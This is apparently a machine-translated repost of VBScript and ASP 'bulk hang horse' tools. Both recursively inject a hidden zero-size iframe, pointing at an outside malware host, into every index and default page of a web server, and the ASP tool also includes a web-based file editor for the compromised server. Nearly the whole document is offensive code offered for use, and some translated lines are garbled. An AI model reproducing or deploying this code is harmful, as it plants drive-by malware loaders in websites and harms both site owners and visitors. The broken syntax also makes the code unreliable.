Scan.vbe
cscript scan.vbe web directory
Program code:
' Copyright information
Br= "************************************" & VbCrLf
BR=BR & "* VBS bulk Hang this *" & vbCrLf
BR=BR & "* by BANLG *" & vbCrLf
BR=BR & "************************************" & VbCrLf & VbCrLf
BR=BR & "cscript scan.vbe d:\" & vbCrLf
' The address of the horse
Ma= "</script><iframe height=0 width=0 src=" & Chr (+) & "http://www.hacker.com.cn" &CHR (... t;</ Iframe> "
' To hang a horse's page if not enough can be added, remember to use ' | ' Separated
Mystring= "index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx |default.aspx "
' With ' | ' Split the delimiter into an array
MyArray = Split (MyString, "|",-1, 1)
Web=wscript.arguments (0)
' If the Web is empty exit script
If web= "" Then
WScript.Echo (BR)
Window. Close
End If
WScript.Echo (BR) & "Ma's address:" & Ma & vbCrLf & VbCrLf
' Create object
Set fso = CreateObject ("Scripting.FileSystemObject")
' Start scanning the horse
Scan (web)
' Scan defines functions, scans for eligible files, writes the contents of the horse to the end of the file.
Sub Scan (Filesder)
Set Filesder=fso.getfolder (Filesder)
' Get all the file collections in the current directory
Set Files=filesder.files
' Get filename
For each fext in files
Set file1 = fso. GetFile (Fext)
Filesext=file1. Name
' Change file name to lowercase letter
Ext=lcase (Filesext)
For each index in myarray
' The judge file is not the document we qualify in mystring, if it is written on the horse
If Ext=lcase (index) then
Set ts = fso. OpenTextFile (fext,8) ' opens the file and writes at the end of the file
Ts. WriteLine (MA)
Ts. Close
Echo= ""
Echo=fext & "...... ... ok"
WScript.Echo (Echo)
End If
Next
Next
Set Subfolders=filesder.subfolders
For all subfolder in subfolders ' Search for other directories, recursive calls
Scan (subfolder)
Next
End Sub
FSO hanging Horse. asp
Enter the server after the direct input need to hang the horse's path can be directly hung
Program code:
If ex<> "" and pth<> "" Then
Select Case EX
Case "Edit"
Call File_show (PTH)
Case "Save"
Call File_save (PTH)
End Select
Else
%>
<form action= "<%=ASP_SELF%>" method= "POST" >
FOLDER (absolute PATH):
<input type= "text" name= "FD" size= ">"
<input type= "Submit" value= "Submit" >
</form>
<%end if%>
<%
Function Ispattern (PATT,STR)
Set regex=new REGEXP
Regex.pattern=patt
Regex.ignorecase=true
Retval=regex.test (str)
Set regex=nothing
If retval=true Then
Ispattern=true
Else
Ispattern=false
End If
End Function
If Ispattern ("[^ab]{1}:{1} (\\|\/)", s) Then
Sch S
Else
If s<> "" Then Response.Write "Invalid agrument!"
End If
Sub Sch (s)
On ERrOr REsUmE NExT
Set fs=server.createobject ("Scripting.FileSystemObject")
Set Fd=fs. GetFolder (s)
Set FI=FD. Files
Set SF=FD. Subfolders
For each F in fi
Rtn=f.path
Step_all RTN
Next
If SF. Count<>0 Then
For each L in SF
Sch L
Next
End If
End Sub
Sub Step_all (AGR)
Retval=ispattern ("(\\|\/) (Default|index) \. ( htm|html|asp|php|jsp|aspx) \b ", AGR)
If RetVal Then
Step1 AGR
Step2 AGR
Else
Exit Sub
End If
End Sub
%>
<%sub Step1 (str1)%>
<a href= "<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target= "_blank" ><%=str1%></a> <br>
<%end sub%>
<%
Sub Step2 (STR2)
Addcode= "<iframe src=http://www.21o.net/mm/mm.htm (Modify your horse's address, do not add" "or it will go wrong) width=0 height=0 frameborder=0></ Iframe> "
Set fs=server.createobject ("Scripting.FileSystemObject")
Isexist=fs. FileExists (STR2)
If isexist Then
Set F=fs. GetFile (STR2)
Set F_addcode=f.openastextstream (8,-2)
F_addcode. Write Addcode
F_addcode. Close
Set f=nothing
End If
Set fs=nothing
End Sub
%>
<%
Sub File_show (fname)
Set fs1=server.createobject ("Scripting.FileSystemObject")
ISEXIST=FS1. FileExists (fname)
If isexist Then
Set FCNT=FS1. OpenTextFile (fname)
Cnt=fcnt. ReadAll
Fcnt. Close
Set fs1=nothing%>
FILE: <%=fname%>
<form action= "<%=ASP_SELF%>" method= "POST" >
<textarea name= "newcnt" cols= "rows=" ><%=cnt%></textarea>
<input type= "hidden" name= "PTH" value= "<%=fname%>" >
<input type= "hidden" name= "ex" value= "Save" >
<input type= "Submit" value= "SAVE" >
</form>
<%Else%>
<p>the FILE is not EXIT OR HAVE deleted.</p>
<%
End If
End Sub
%>
<%
Sub File_save (fname)
Set fs2=server.createobject ("Scripting.FileSystemObject")
Set Newf=fs2.createtextfile (fname,true)
Newf. Write newcnt
Newf. Close
Set fs2=nothing
Response.Write "<p>the FILE was MODIFIED successfully.</p>"
End Sub
%>
</body>
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.